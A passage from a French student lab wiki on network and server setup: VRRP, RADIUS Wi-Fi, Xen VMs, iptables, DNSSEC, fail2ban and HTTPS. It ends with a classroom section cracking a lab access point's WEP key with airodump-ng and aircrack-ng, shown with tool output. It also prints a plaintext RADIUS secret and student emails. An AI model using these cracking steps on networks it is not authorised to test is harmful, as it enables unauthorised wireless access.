Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12261</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12261"/>
		<updated>2026-02-12T15:29:38Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;BIERNACKI Antonin&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
== Infos concernant notre binôme ==&lt;br /&gt;
Binôme : &#039;&#039;&#039;CHEKLAT Billel&#039;&#039;&#039; [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : &#039;&#039;&#039;superman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : &#039;&#039;&#039;193.48.57.169&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : &#039;&#039;&#039;batman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : &#039;&#039;&#039;deadpool.tech&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : &#039;&#039;&#039;catwoman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : &#039;&#039;&#039;dardevil.tech&#039;&#039;&#039; (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : &#039;&#039;&#039;pont_ironman&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Réseau IPv4 : &#039;&#039;&#039;192.168.69.0/24&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons &#039;&#039;&#039;créé nos trois machines&#039;&#039;&#039; sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le &#039;&#039;&#039;root password&#039;&#039;&#039; qu&#039;il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp &#039;&#039;&#039;robuste&#039;&#039;&#039; car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de &#039;&#039;&#039;démarrer les machines&#039;&#039;&#039; avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d&#039;&amp;lt;nowiki/&amp;gt;&#039;&#039;&#039;accéder à la console de la machine virtuelle&#039;&#039;&#039; (pour quitter la console un exit suffit et pour quitter la saisie de connection &#039;&#039;&#039;Ctrl + Shift + 5&#039;&#039;&#039;) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;créer les partitions&#039;&#039;&#039; /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour &#039;&#039;&#039;formater et monter&#039;&#039;&#039; les partitions nous utilisons les commandes suivantes (&#039;&#039;&#039;/!\ pas dans capbreton&#039;&#039;&#039;) :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient &#039;&#039;&#039;montées de façon automatiques&#039;&#039;&#039; au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez &#039;&#039;&#039;redémarrer&#039;&#039;&#039; la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
&lt;br /&gt;
==== premiere partie ====&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d&#039;identifier l&#039;interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l&#039;interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d&#039;identifier l&#039;adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l&#039;adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s&#039;arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après un certain temps on peut entrer la commande suivante pour voir si un résultat à été trouvé&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un KEY FOUND !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
